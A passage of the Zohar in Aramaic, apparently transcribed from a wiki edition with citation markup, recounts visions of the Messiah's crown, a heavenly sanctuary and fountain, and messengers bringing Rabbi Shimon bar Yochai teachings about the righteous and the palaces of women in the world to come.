זיני אבני יקר וזמינא למהוי על רישא דמלכא משיחא כד סליק בההוא מגדל ותרין נשרין דא מסטרא דא ודא מסטרא דא נטלי ליה בידייהו כד סליק מלכא משיחא מתתקנין נשרין ונטלי עטרא דא בשעתא דישרי למקרי יתפתח פתחא אחרא ומתמן תפוק ההיא יונה דשדר נח בימי טופנא. דכתיב {{צ|וישלח את היונה}} - {{צ|היונה}} - ההיא דאשתמודעא ולא מלילו בה קדמאי ולא ידעו מה היא אלא מהכא נפקת ועבדת שליחותא. ובשעתא דכתיב {{צ|ולא יספה שוב אליו עוד}} - לא ידע בר נש לאן אזלת והיא תבת לאתרה ואתגניזת בפתחא דא ואיהי תטול עטרה בפומהא ותשוי על רישיה דמלכא משיחא מטי ולא מטי. וכדין כתיב {{צ|תשית לראשו עטרת פז}} {{ממ|תהלים|כא|ד}}. וכיון דיקרי מלכא משיחא בס&quot;ת יקומון תרין נשרין דא מכאן ודא מכאן ויונה מאיך ומלכא משיחא נחית ועטרה על רישיה עד דרגא בתראה ותרין נשרין פרחין לעילא על רישיה ויונה תבאת &lt;קטע סוף=דף קסד ב/&gt;

 
{{ממ זהר משולב|ג|קסה|א}}&lt;קטע התחלה=דף קסה א/&gt;ועטרה בפומה ויקבלון לה אלין תרין נשרין. דוד מלכא זית רענן אקרי קמיה קב&quot;ה דכתיב {{צ|ואני כזית רענן בבית וגו'}} {{ממ|תהלים|נב|י}}. עלה זית דא מלכא משיחא בריה דדוד ודא איהו דרמיז יונה דא ביומו דנח דכתיב {{צ|והנה עלה זית טרף בפיה}} {{ממ|בראשית|ח|יא}}. ההוא עלה זית טרף וחטף ליקרא דיליה במה בפיה דקיימא על רישיה ומקבלא יקר מהאי יונה והאי דכתיב {{צ|טרף}} ולא &quot;טרפה&quot; (אלא) כדכורא דא דעביד חילא ונצח. במתיבתא דרקיעא יונה דכר הוא מגו דאקרי יונה כתיב כנוקבא וכתיב כדכורא בזמנא דמקבלא יקר (חסר) דא מגדל דא כד תב לאתריה נהיר כנהירו דעינא דשמשא דכתיב {{צ|כסאו כשמש נגדי}} {{ממ|תהלים|פט|לז}}. ואף דכרסייא אחרא ליהוי ליה בנסין ואתין רברבין. בריש מגדל דא אית עופין דנור (ס&quot;א דרורא) דקא מצפצפאן כד סליק צפרא צפצופא דנעימו דלית נעימו ונגונא כההוא נעימו. לעילא מכלהו זינין אחרנין ושפנינין אחרנין דקא פרחין באוירא סלקי ונחתי נחתי וסלקי לא משתככין לעלמין. אתוון רברבן ואתוון זעירן פרחין בינייהו. אי חסידא קדישא בשעתא דאתוון פרחין חמי ב&quot;נ מאתוון רברבן כתיב באוירא לפום שעתא. {{צ|בראשית ברא אלהים את השמים ואת הארץ}} (והארץ היתה תהו ובוהו וגו' מהכא אהדרי אתוון רברבן כמלקדמין) בטשי אתוון זעירן בהו. ופרחין ואתחזי מנייהו כתיב {{צ|ויאמר אלהים יהי אור וגו' וירא אלהים את האור וגו'}}. לבתר מהדרי אתוון זעירן ובטשי באתוון רברבן ומתחזי מנייהו דכתיב {{צ|ויאמר אלהים יהי רקיע וגו'}}. וכן כל עובדא דבראשית פליאן רברבן וחדו לעיינין עובדאן דאתוון אלין זכאה עמא דכל דא מחכאן אי חסידא קדישא מאן דנטיר ברית שוי ליה אבתרוי ואיהי לקמא ואי תימא מאן נטיר לאחורא הא נטירו רב ועלאה מכלא דנטיר ליה. ומאן איהו צדיק עלאה ברחימו סגי. עאל בין צדיק וצדק ואשתכח נטיר מכל סטרין. זכאה מאן דנטיר ברית דא ועל דא ישראל אתחזון כל דכורין דנטרין את קיימא דא קמי מלכא קדישא. מאן איהו דיכיל לנזקא לברא דאיהו באצע ואבוה מכאן ואמיה מכאן ואיהו בינייהו ודא כד איהו אחרי יי'. 

תא חזי ההוא רקיע כד סחרא בגלגולא מנגנא בנגונא ומקל נהימו דמיין דנבעין לא ידיע ההוא נגונא כל אינון אגנין די בארבע סטרין מליין מנביעו דמיין דנבעין מאן דאיהו לגו בתרין סטרין קיימא תמן. חד בחדוה דלית חדוה כההיא חדוה בעלמא לקיימא (שם ק) עבדו את יהוה בשמחה. וחד ביראה דלית דחילו כההוא דחילו בעלמא לקיימא עבדו את יהוה ביראה חד מעיינא דמייא דנביע מסטר מזרח דא הוא דאמר יחזקאל נביאה מהאי מעיינא לא יכלין לסיימא שבחא כל בני עלמא באתר דאתייליד תמן לסטר מזרח לית עומקא ורומא דיליה אלא זרתא ולא יתיר כד נבעין מיא וסלקין סלקין כל זיני מרגלאן דעלמא ולא נפלין לבר השתא אתחזון בגוון חד לפום שעתא נפלין אלין והא סלקין אחרנין כגוון אחרא בכל זיני גוונין דעלמא נפלי אינון מרגלאן ולא נפלי לבר. סחרנין דההוא נביעו חיזור ושושן סחרין ולא יכלין כל בני עלמא למיקם על אינון גוונין כלהו שלהובין מלהטאן ולא יכלין לאסתכלא בהו לא ידיע חשיבו דעובדא טרפין דלהון מנצצן בכמה גוונין עובד ציור אומנו דמארי עלמא חפיין על תלתמאה ושבעין וחמשה כרובין דתחותייהו בתר שבכין אחרנין לגו. ואינון שבכין סחור דעזרה לגו. ולעילא מנהון אינון &lt;קטע סוף=דף קסה א/&gt;

 
{{ממ זהר משולב|ג|קסה|ב}}&lt;קטע התחלה=דף קסה ב/&gt;גופנין פרישאן תחות גופנין אינון כרובין כלהו גדפין פרישן משלבן אלין באלין. הכא אמר רב מתיבתא דכל מאן דאסתכל באינון גופנין מנהרין אנפוי כנהירו דשמשא אינון שבכין דאתחמן סחור סחור דעזרה כלהו מרקמן בחוטין דנהרין בגוונין סגיאין מלהטן בד' מיני זהורין דאשא שלהובין סלקין וגוונין מנצצן ולזמנין שלהובין משתככי ונהורין וגוונין סלקין ובטשי אלין באלין שית אלף אגנין לגבי אינון שבכין ד' גוונין לד' סטרין דעזרה אלין אינון רברבין ונביעו דמיין חיין בכל סטרי. ואינון נפלי באינון אגנין ובלעי באתרייהו ואלין מיין לא ידעי לאן אזלין. באמצעו דעזרה יקומון כלהו ישראל ויתחזון קמי מלכא קדישא. בסטר דרום בעזרה דא אתייליד חד מעיינא דמיא ואתרמי (ס&quot;א ואתרמי) (ס&quot;א ואתרבי) דקא ישטפון מיא כל עלמא. מאן דייעול בהו יהון עד ברכים ייעול בהו גיבר רב ייעול בהו עד ברכים אי תינוק בר יומא עד ברכים מאן דשתי מנייהו יתחכם ויתפקח בחכמתא. מעיינא דא נפיק מגו מרגלא חדא דזעירא בכותלא דדרום אינון מיין בלעי' גו אתרא (ס&quot;א גו אתר דא) ומתמן יפקון לבר מקדשא עד דיעלו לנחל שטים ישטפון ההוא זמה דאולדין מיא דשטים. ועל דא מיין אלין בעזרה בגין אינון דאתחזון תמן דכורין הוו שתאן מן מיא לא חיישי בנוקבי. במיתיהון לאתחזאה קמי מלכא קדישא. תו דהא יתפקחון למנדע מלין סתימין דמלכא עלאה גו מקדשא דא כל הרהורין ישתכחון בר הרהורא דחדוה דמלכא קדישא. ענפא חד נפיק וגו אמצעו דההוא מעיניא. אמר רב מתיבתא כד קריבנא לההוא ענפא גו מעיינא אסתלק ענפא לעילא לעילא כל מה דקריבנא הכי אסתלק יסודא ושרשא דההוא ענפא לאו איהו אלא במיא. ההוא ענפא חפי עלמין כל גוונין דעלמא באינון טרפין דיליה איבא דיליה לא ידיע מהו ולא יכלין למנדע ואמר דקא שאיל למשיח על ההוא איבא ואמר איבא דא גניז לאיש משענתו בידו מרוב ימים מאן דזכי למנדע דא לינדע. רקיע חד אית על ההוא ענפא פריש לעילא מההוא רקיע אזיל טלא ע&quot;ג מעיינא דא ול איתיר. כד אסתכל בר נש לההוא רקיע מרחיק דמי תכלא. קריב יתיר דמי סומקא. קריב יתיר דמי ירוק קרוב יתיר דמי חוור דלית חוור בעלמא כגיניה. טלא דקא אזיל מניה אשתאיב בההוא ענפא ועביד איבא דא ואתרבי ההוא רקיעא איהו אזיל בגלגולא יתיר ממה דעיינין יכלין לאסתכלא כל אינון נטורי קיימא קדישא (ס&quot;א בעון) דבעון לאתחזאה קמי מלכא דהא לא אתחזון אלא בגין לאחזאה דאינון בני גזירו קדישא ועל דא {{צ|יראה כל זכורך}} - אינון בני קיימא קדישא. דייק רב מתיבתא {{צ|זכורך}} ולא &quot;זכרך&quot; דהא זכר כתיב ולא זכור מאי {{צ|זכורך}}? אלא כל אינון דנטרין קיימא קדישא ולא חבאן ביה אינון הוו בני מלכא דבכל יומא משתכח בהו ודכיר לון תדיר. ועל דא {{צ|זכורך}} - ההוא דאית ביה קיימא קדישא דדכיר לון מלכא בכל יומא דלית שבחא קמי מלכא עלאה (אלא) כמאן דנטיר קיימא דא ועל דא בעי דיתחזון תלת זמנין בשתא קמיה. תלת זמנין אמאי אלא בגין אבהן קדמאי דקבילו להאי ברית קדמאה לכל פקודין דאורייתא ובגין כך תלת זמנין אינון בשתא. אברהם קביל בריח. יצחק קביל בריח. יעקב הוה שלים מכלהו ועל דא כתיב ביה {{צ|ויעקב איש תם}} - שלים מכלא. אברהם {{צ|תמים}} אקרי ולא הוה כ&quot;כ שלים אבל {{צ|תם}} שלים מכלא. מה כתיב בנח {{צ|איש צדיק תמים היה בדורותיו}} דהוה רשים ברשימו קדישא בינייהו. ואמר רב מתיבתא בכל אתר דכתיב {{צ|תמים}} - דרשים ברשימו קדישא באת קיימא דברית ובגין &lt;קטע סוף=דף קסה ב/&gt;

 
{{ממ זהר משולב|ג|קסו|א}}&lt;קטע התחלה=דף קסו א/&gt;דנטר בריתא קרי תמים בדורותיו מה דלא הוו כלהו הכי דאינון מחבלן ארחייהו ועל דא כתיב {{צ|את האלהים התהלך נח}}. וכי מאן יכיל למיהך עמיה. אבל כל מאן דנטיר בריח קדישא אזדווגת ביה שכינתא ושריאת עליה ובגין כך תמים תהיה עם יהוה אלהיך. תמים תהיה ולבתר עם יהוה אלהיך בזווגא הדא דכיון דנטיר ברית דא עם יהוה להוי ולא אתפרש מניה. באברהם כתיב {{צ|התהלך לפני והיה תמים}} גזירו דאת קיימא. {{צ|התהלך לפני}} - מהכא דלא יהך גברא בתר אתתא אלא קמהא ארח כשר איהו והא כתיב {{צ|הנה אנכי שולח מלאך לפניך}}. ושלחתי לפניך מלאך. לאברהם דלא הוה גזיר דחה ליה לקמה. ועל דא לא כתיב &quot;היה תמים והתהלך לפני&quot;, אלא {{צ|התהלך לפני}} - דלא יאות אנת עד שתהא תמים וכן בכלהו כיון דבר נש תמים ונטיר ליה מיד היא לקמיה ואיהו אבתרה כשר איהו לדא. לגרעונא מה כתיב {{צ|כי שב מאחרי}}. נח גזיר הוה ותמים. פריעה לא הוה ביה ובגין דלא הוה ביה פריעה מה כתיב {{צ|את האלהים}} ולא &quot;אחר האלהים&quot; לקמא לא הוה בגין דהוה גזיר. לאחורא לא הוה בגין דלא אתפרע. איך הוה את האלהים סמיך ליה ולא יכיל לאסתכלא ביה דלאו כשר כ&quot;כ. בישראל כתיב {{צ|ויהוה הולך לפניהם יומם בעמוד ענן ולילה בעמוד אש וגו'}}. כיון דאמרו ישראל {{צ|המבלי אין קברים במצרים וגו'. כי טוב לנו עבוד את מצרים}} - כביכול אתחלש דעתא. כתיב {{צ|ויסע מלאך האלהים ההולך לפני מחנה ישראל וילך מאחריהם}}. ויסע למעבד בהו נוקמין (חסר) 

ועל דא חדי משיח וחדי רב מתיבתא דקא אתבשר בדא ואמר רב מתיבתא דהא דייק למשיח ואמר מנא הוה לדניאל דקאמר פריס פריסת מלכותך ויהיבת למדי ופרס מאינון אתוון דופרסין אשתמע ליה והכא מאי הוא א&quot;ל הכי הוא ודאי פריס פריסת מלכותך חייבא ע&quot;י דמשיח אחרא ולבתר ישלוט מלך פרס ויטול מלכוון סגיאין והוא ישלט על ארעא קדישא תריסר ירחי והוא ישלוט ויקטול סגיאין וההוא משיחא ולבתר יפול ויקבלון מלכותא קדישי עליונין. ועל דא ופרסין מלכא דפרס אשתמע הכא. אי חסידא קדישא כמה חדוה על חדוה בההוא מעיינא. בההוא מעיינא מגדלא כל זיני אילנין דנציב קב&quot;ה בג&quot;ע וכלהו קיימי לאסוותא טרפין ואיבין וענפין ולחדו לבא תדיר. ולית בינייהו כפנא ודאגה ואנחה לעלמין. זכאה עמא דכל דא מחכאן. וכל דא גניז לון. אמר ר' שמעון בקרקע דהאי מקדשא אית מאלין פליאן. א&quot;ל אי רבי אי ר' זכאה חולקך דכל האי. בההוא ע&quot;ג ההוא מעיינא דקימא אבל לית מאן דיכיל לאסתכלא ביה לזמנין נהירו דיליה נהורא. לזמנין חשוכא לזמנין גוון ארגוונא מנצצן דלא יכלין עיינין לאסתכלא. לעילא (ס&quot;א ההיא) היא דשאלת חסידא קדישא מההוא קרקע דמקדשא. רב מתיבתא לא פריש מניה דהא גניז איהו גו ירדנא והא אמינא לך מה דאמינא אבל נשאל מלה דא ותנדע מה דתנדע ירדן דא עאל ואתמשך זמנא חדא בשתא גו ההוא נהר דנפיק מעדן לאו מאינון ארבע נהרין דאתמשכן מניה אלא ביה ממש כיון דמטי לגביה איהו אתמשך ואתפשט ועאל גו ירדנא. וכיון דמטי גו קרקע דמקדשא אשתכך תמן תלת יומין ולא אתפשט ולא אתמשך לאתר אחרא. ואמר רב מתיבתא דכד אהדר ההוא נהר לאתריה שביק תמן כל זיני ציורין דקא עביד קב&quot;ה בג&quot;ע דאינון ציורין גניזין דתחות דוכתייהו (חסר) 

אלין הכא ואלין הכא וסלקי ונחתי כדקדמיתא. בההוא סטר דרום אית תלת מאה וחמשין עמודין מכל זיני מרגלאן ואלין אינון דנהרין תדיר ונטפין בוסמין טמירין דלא אתגלו לעלמין ארבע אגנין בכל &lt;קטע סוף=דף קסו א/&gt;

 
{{ממ זהר משולב|ג|קסו|ב}}&lt;קטע התחלה=דף קסו ב/&gt;עמודא ועמודא נעיצין וכד אינון בוסמין נטפין מאינון עמודין נפלי בהו ואתמליין בלהו אגנות ולא נפקין בוסמין לבר מאינון בוסמין זמינין לזמנא דאתי לאקטרא בכל יומא קטורתא קמי מלכא קדישא דלא יהוו מכתישו דבני נשא אינון בוסמין לא ידיע עקרא דלהון וממה הוו אלא מאינון עמודין נפלין תמן תרין נשרין בכל עמודא ועמודא מתנצצן מתלהטין בכל גוונין שבע מאה נשרין אינון פרחין אלין הכא ואלין הכא בגלגולא דעמודין. כד אסתחרן לא יכלין עיינין לאסתכלא דוכתא דבהו. תלת אתוון בלטין ופרחין מפומא דא לפומא דא. בגלגולא דעמודין ונשרין כל אינון אתוון מרקמן באשא חוורא ודהבא ירוקא. תרין אלפין ומאה מנרתין תליין בין אינון עמודין ותרין אלפין ומאה שרגין בכל מנרתא ומנרתא דלקין ביממא ובליליא מתדעכי על צערא דישראל. כד אתי צפרא דלקין כלהו מגרמייהו. אדהוו יתבי אמרי הא רמש ליליא. 

א&quot;ל לר&quot;ש אי חסידא קדישא נהירו דעלמא טול פנקסא דאחמתא דא וטול שרגא וכתוב מלין אלין דהא מטא זמנא דילן לפקדא כל חד וחד לגו קבריהו. עד פלגו ליליא דקב&quot;ה עאל גו גנתא לאשתעשעא בהדי צדיקייא וכדין כל חד וחד פרח לתמן. ולמחר נהוי גבך הואיל ויהבו לן רשו לאשלמא דורונא דקא משדרי לך. פרחי. בכה ר&quot;ש וגעא. פתח ואמר אילת אהבים ויעלת חן דדיה ירווך בכל עת באהבתה תשגה תמיד. אורייתא אורייתא נהירו דכל עלמין כמה ימין ונחלין ומקורין ומבועין מתפשטי מנך לכל סטרין מנך כלא עלך קיימי עלאין ותתאין נהירו עלאה (בדא) מנך נפקא. אורייתא אורייתא מה אימא לגבך אילת אהבים אנת ויעלת חן (גבי) עילא ותתא. רחימין דילך מאן יזכי לינקא מנך כדקא יאות אורייתא אורייתא שעשועים דמארך מאן יכיל לגלאה ולמימר סתרין וגניזין דילך בכה ואעיל רישיה בין ברכוי ונשק לעפרא אדהכי חמא כמה דיוקנין דחברייא סחרניה. 

א&quot;ל לא תדחל בריה דיוחאי לא תדחל בוצינא קדישא כתוב וחדי גו חדוה דמארך. כתב כל אינון מלין דשמע בההוא ליליא ולעא לון ולהג לון ולא אנשי מלה. וההוא שרגא נהיר קמיה כל ההוא ליליא עד דאתא צפרא. כד אתא צפרא זקף עינוי וחמא חד נהירו דהוה נהיר ברקיעא מאיך עינוי לתתא אהדר כמלקדמין וחמא נהירו בכל רקיע דנהיר וסליק בההוא נהירו דיוקנא דביתא בכמה ציורין. חדא ר&quot;ש ולפום רגעא אגניז ההוא נהורא. אדהכי הא אינון תרין שליחן אתיין. אשכחוהו רישיה בין ברכוי. אמרו ליה שלמא עליה דמר שלמא למאן דעלאין ותתאין בעאן לאקדמא ליה שלם. קום. קם ר&quot;ש וחדא בהו. אמרו ליה ולא חמית נייחא דרוחא דעבד לך מארך חמית נהירו דביתא ברקיעא אמר לון חמינא. אמרו ליה ביה שעתא אפיק תהומא בי מקדשא ואעבריה קב&quot;ה בימא רבא ומנהירו דיליה הוה נהיר ברקיעא. אמרו ליה רב מתיבתא בעא בשלמך והא ידע דאנן שליחן לגבך. וכמה מלין חדתין עתיקין אתחדש באורייתא בהאי ליליא. אמר לון במטו מנייכו אמרו חד מלה מנייהו. אמרו לא אתייהיב לן רשו למאי דאתינן לגבך אבל מלה חדתא הוה לגבך השתא. פתח רב מתיבתא ואמר ויאמר יהוה אל אברם לך לך מארצך וגו' דא בגין דאתנהרא ביה נהירו כגוונא דא. מאן דלא זכי באתר דא יהך וינטל גרמיה לאתר אחרא ויזכי ביה. אעא דדליק ונהורא לא סליק ונהיר ביה. ינענעון ליה ויסלק ביה נהורא ואנהיר. וחוינן זמינין למשמע. אבל בגין למיתי גבך &lt;קטע סוף=דף קסו ב/&gt;

 
{{ממ זהר משולב|ג|קסז|א}}&lt;קטע התחלה=דף קסז א/&gt;לא בעינן לאתעכבא. חדי ר' שמעון אמרו ליה אי חסידא קדישא כל מלין די כגוון באורייתא מלין זעירין אינון בכל מלה ומלה ואינון מלין זעירין כמה אינון מלין רברבין ועלאין עד דלית לון שיעורא דהא לית בגוון ספקא אלא ברירו דאורייתא על בורייה והשתא רב מתיבתא פריש מלין סתימין על דא בגין דעקרא דנשמתא אמאי לא נהיר באתר דא וזכי לאתנהרא באתר אחרא. ועד כען לא זכינן בהו בגין למיתי גבך. ומלה אחרא זכינן למשמע מניה. רוחא דאזלא בערטורא בההוא עלמא בלא בנין אנתתיה יתעביד ליה מאנא לאתבנאה איהו. מאי טעמא אנתתיה איהי שרגא דאתדליקת מניה ותרווייהו שרא חדא הוו נהורא דא נפק מנהורא דא אתדעך דא אתדליק מגו נהוריה ממש בגין דחדא נהורא הוו. השתא רבי נהדר למלין קדמאין וכד נהדר לאתרין נטול רשו מרב מתיבתא באינון מלין דנקבל מניה ונימא קמך. זכאה חולקך דאת זכי לנהורין סתימין מכל סטרין מעילא ומתתא מהאי עלמא ומעלמא אוחרא. אמר ר' שמעון מלה חדא בעינא למנדע אי תיכול לאודעא לי. נשין בההוא עלמא אי זכאן לסלקא לעילא או היך אינון תמן. אמר לי' אי רבי אי רבי. בדא אית לן רזא יתירא (ס&quot;א יקירא) בגין דלא לגלאה סתרין דתמן. אבל דא יהך ויטול רשו ונימא לך. אדהכי פרח חד. ואתכסי מנייהו ואזל ליה ולפום שעתא תב לגבייהו אמר לון זמינא הוינא למיעאל והוו כלהו בעטורא חדא דדייני דינא דחד בר נש דקאים על פתחא דגן עדן ואינון כרובין אחידו ביה ולא שבקו ליה למיעאל תמן והוה בצערא בינייהו וצווח צווחין על גבי פתחא ושמעו כולהו צדיקייא דתמן והשתא הוו מתכנפי כל בני מתיבתי למיעאל לגבי מלכא משיחא לעיינא בדיניה. ואתינא לאודעא לכו ודא חבראי אצטריך למהך תמן דכרוזא הוה אעבר בכל אינון בני מתיבתי דליהוון כנישין השתא קמי משיח. נטל פתקא חדא ויהב לר' שמעון. אמר טול דא ועיין במה דתמן עד דניתי גבך. פרחו תרוייהו ור' שמעון נטל פתקא וחמא מה דמא ברזין דתמן כל ההוא יומא. בליליא חמא שרגא ונפיל ביה שינתא ודמך עד צפרא. כד נהר יממא קם ופרח ההוא פתקא מניה והא אינון תרווייהו אתיין אמר ליה קום רבי זכאה חולקך קום בגינך חמינן וזכינן לכמה סתרין עלאין כמה חדוה אחזיו לן כד יהבו רשו לגלאה לך כל מה דאת בעי. ריש מתיבתא עלאה נפק לגבן. ואמר שאילו בשלמיה דבר יוחאי אתריה דבר יוחאי הא פנו ליה מכמה יומין לית מאן דיקרב לגביה זכאה איהו. רבי רבי כד פרחנא מגבך (בגינך) עאלנא וחמינא כל בני מתיבתי דהא מתכנפי לגו היכלא חדא דמשיח תמן ודיינו דינא דההוא בר נש דקאים על פתחא שמיה לית לן רשו לגלאה. אצטער ר' שמעון על דא. אמר ליה לא תצטער רבי על דא אנת תדע בדא ליליא בחלמך. אבל דינא דיינו עליה דגזר משיח דלהוי ההוא בר נש לבר בההוא צערא ארבעין יומין. לסוף ארבעין יומין יצערון ליה בדינא בצערא דגיהנם שעתא ופלגא. וכל דא בגין דיומא חדא חד מן חברייא הוה פריש מלין דאורייתא כד מטא לחד מלה ידע האי בר נש דיתכשל ביה ואמר לחברייא שתוקו לא תימרון מדי ובגין דשתיקו חברייא אתכשל בההוא מלה ואכסיף וההוא כסופא דגרים האי בר נש דיינין ליה בהאי דינא &lt;קטע סוף=דף קסז א/&gt;

 
{{ממ זהר משולב|ג|קסז|ב}}&lt;קטע התחלה=דף קסז ב/&gt;קשיא בגין דלא בעי קב&quot;ה לשבקא חובא דאורייתא אפילו כמלא נימא. דיינו דיניה ונפקו כל בני מתיבתא ואנא שאילנא רשו. דהא בריה דיוחאי שאיל שאלתא דא ועל דא אחזיו לי מה דלא ידענא מקדמת דנא. אי רבי שית היכלין אחזיו בכמה ענוגין ועדונין באתר דפרוכתא פרישא בגנתא. דהא מההוא פרוכתא ולהלאה לא עאלין דכורין כלל. בהיכלא חדא אית בתיה בת פרעה וכמה רבוא ואלפי נשין זכיין בהדה וכל חדא וחדא מנייהו דוכתין דנהורין ועדונין בלא דחקא כלל אית לה תלת זמנין בכל יומא כרוזי אכריזו הא דיוקנא דמשה נביאה מהימנא אתי ובתיה נפקת לאתר דפרגודא חדא דאית לה וחמאת דיוקנא דמשה וסגידת לגביה ואמרה זכאה חולקי דרביתי נהירו דא. ודא איהו ענוגין דילה יתיר מכלהו אהדרת לגבי נשין ואשתדלן בפקודי אורייתא כלהו באינון דיוקנין דהוו בהאי עלמא בלבושא דנהורא (ס&quot;א כלבושא) בלבושא דדכורין בר דלא נהרי הכי. פקודין דאורייתא דלא זכו לקיימא לון בהאי עלמא משתדלי בהו ובטעמייהו בההוא עלמא. וכל הני נשין דיתבין בהדי בתיה בת פרעה אקרון נשים שאננות דלא אצטערו בצערא דגיהנם כלל. בהיכלא אחרא אית סרח בת אשר וכמה נשין רבוא ואלפין בהדה. תלת זמנין ביומא כריזין קמה הא דיוקנא דיוסף צדיקא אתא ואיהי חדאת ונפקת לגבי פרגודא חדא דאית לה וחמאת נהירו דדיוקנא דיוסף וחדאת וסגידת לגביה ואמרת זכאה האי יומא דאתערית בשורה דילך לגבי סבאי לבתר אהדרת לגבי שאר נשין ומשתדלן בתושבחן דמארי עלמא ולאודאה שמיה. וכמה דוכתין וחידו אית לכל חדא וחדא ולבתר אהדרן לאשתדלא בפקודי אורייתא ובטעמייהו. בהיכלא אחרא אית יוכבד אמיה דמשה נביאה מהימנא וכמה אלפין ורבבן בהדה. בהיכלא דא לא מכרזי כלל אלא ג' זמנין בכל יומא ויומא אודת ומשבחת למארי עלמא איהי וכל אינון נשין די בהדה ושירתא דימא מזמרין בכל יומא ואיהי בלחודהא אמרת מהכא ותקח מרים הנביאה וגו' את התוף בידה וגו' וכל אינון צדיקייא די בגן עדן צייתין לקל נעימו דילה. וכמה מלאכין קדישין אודאן ומשבחן עמה לשמא קדישא. בהיכלא אחרא אית דבורה אוף הכי וכל שאר נשין בהדה אודן ומזמרן בההיא שירתא דאיהי אמרת בהאי עלמא. אי רבי אי רבי מאן חמי חדוה דצדיקייא ודנשין זכיין דעבדין לגבי קב&quot;ה. לגו לגו דאינון היכלין אית ארבע היכלין טמירין דאמהן קדישין דלא אתמסרן לאתגלאה ולית מאן דחמי לון. בכוליה יומא אינון בלחודיהון כמא דאמינא לך וגובירן אוף הכי ובכל ליליא אתכלילן כלהו כחדא בגין דשעתא דזווגא איהו בפלגות ליליא בין בהאי עלמא. בין בההוא עלמא. זווגא דההוא עלמא אתדבקותא דנשמתא נהורא בנהורא זווגא דהאי עלמא גופא בגופא וכלא כמה דאתחזי זינא בתר זיניה זווגא בתר זווגא גופא בתר גופא זווגא דההוא עלמא נהורא בתר נהורא. היכלין דארבע אמהן אקרון היכלין דבנות בוטחות ולא זכינא בהו למחמי. זכאה חולקהון דצדיקייא גוברין ונוקבי דאזלי בארח מישר בהאי עלמא. וזכאן לכלהו ענוגין דההוא עלמא. אי רבי אי רבי אלמלא בר יוחאי אנת לא אתמסר לגלאה. זווגא דההוא עלמא אתעביד איבא &lt;קטע סוף=דף קסז ב/&gt;

 
{{ממ זהר משולב|ג|קסח|א}}&lt;קטע התחלה=דף קסח א/&gt;יתיר מאיבא דאתעביד בהאי עלמא בזווגא דלהון בזווגא דההוא עלמא בתיאובתא דלהון כחדא כד מתדבקן נשמתין דא עם דא עבדי איבין ונפקי נהורין מנייהו ואתעבדי שרגין. ואינון נשמתין לגיורין דמתגיירין וכל הני עיילין להיכלא חדא. וכד מתגיירא גיורא חדא פרחא מההוא היכלא נשמתא ועאלת תחות גדפהא דשכינתא ונשקת לה בגין דאיהו איבא דצדיקייא ומשדרת לה לגו ההוא גיורא ושראת ביה. ומההוא זמנא אקרי גר צדק. והיינו רזא דכתיב {{צ|פרי צדיק עץ חיים}} מה אילנא דחיי אפיק נשמתין. אוף הכי צדיק איבא דיליה עביד נשמתין. רב מתיבתא אמר כתיב {{צ|ותהי שרי עקרה אין לה ולד}}. ממאי דאמר ותהי שרי עקרה לית אנא יודע דלית לה ולד מאי אין לה ולד. אלא הכי אמר רב מתיבתא ולד לא הות מולדא. אבל נשמתין הות מולדא באתדבקותא דתיאובתא דאינון תרין זכאין הוו מולידי נשמתין לגיורי כל ההוא זמנא דהוו בחרן כמה דעבדין צדיקייא בגן עדן. כמה דכתיב {{צ|ואת הנפש אשר עשו בחרן}} - נפש עשו ודאי. 

חדי ר&quot;ש א&quot;ל ההוא גברא אי רבי מה אימא לך בכל ריש ירחי ושבתי ומועדייא וזמנייא אינון דכורין סלקין לאתחזאה קמי מלכא קדישא דכורין ולא נוקבין כמה דאת אמר {{צ|יראה כל זכורך}}. וכד אהדרן מהדרן בכמה מלי חדתין ואהדרן מלין קמי רב מתיבתא. יומא דא אהדרן מלין חדתין קמי רב מתיבתא על רזין עתיקין צדיק וטוב לו. צדיק ורע לו. דכלהו סלקין גו מתקלא דאילנא עד לא ייתון לעלמא וכפום טקלא דמתקלא הכי אית לון בהאי עלמא. רב מתיבתא נחית וגלי ממה דשמע לעילא מלה חדא גלי ולא יתיר אעא דלא סליק נהוריה יבטשון ביה ואנהיר. גופא דלא סלקא ביה נהורא דנשמתא יבטשון ביה ויסלק נהירו דנשמתא ויתאחדון דא בדא לאנהרא (תרי נוסחי) בגין דאית גופא דנהירו דנשמתא לא החיר ביה עד דיבטשון ביה כדין נהיר נהירו דנשמתא ואתאחדת בגופא וגופא אתאחד בה. גופא כדין סליק נהירו מגו נשמתא מחדד מרומם ושבח מצלי צלותיה ובעותיה מברך למאריה הא כדין כלא נהיר:

בגין דאית גופא דלא יכילת נשמתא לאנהרא ביה עד דיבטשון ביה וכדין נהיר ואתאחד דא בדא. אית אעא דלא אתאחד בנהורא ולא סליק נהורא ביה עד דביטשון ביה וכדין נהיר. סטרא אחרא בעי למעבד הכי ובטש בחייביא וכל מה דבטש כדין ונר רשעים ידעך מחרף ומגדף. לכל סטרין ולא יכיל לאנהרא כלל וכדין כתיב {{צ|כי מה האדם שיבא אחרי המלך}} ובעי לאתדמי ליה ולא יכיל. ועל דא {{צ|יהוה צדיק יבחן}} ובטש ביה וכדין נהיר ואתקף בנהירו. יבחן כמה דאת אמר {{צ|אבן בחן}}. גחין ר' שמעון ונשיק לעפרא. אמר מלה מלה אבתרך רדיפנא מיומא דהוינא והשתא אשתמודעא לי מלה מגו שרשא ועקרא דכלא. 

א&quot;ל אי רבי אי רבי כד סלקין לעילא כל אינון רוחין דכורין ונוקבין בההוא זמנא שטעין (ס&quot;א כמה) מלין חדתין ועתיקין נחתין ועאלין לגו מתיבתא ואהדרן מלי קמי רב מתיבתא ואיהו אוליף לון מלה על קיומיה כד סלקין מתפשטין מלבושיהון וסלקין כד נחתי מתלבשין בלבושיהון דההוא גופא אי רבי אי רבי כמה חדתין מלין מגו רב מתיבתא. זכאה איהו מאן דאזער גרמיה בהאי עלמא כמה איהו רב ועלאה בההוא עלמא והכי פתח רב מתיבתא. מאן דאיהו זעיר איהו רב. ומאן דאיהו רב איהו זעיר. דכתיב ויהיו &lt;קטע סוף=דף קסח א/&gt;

 
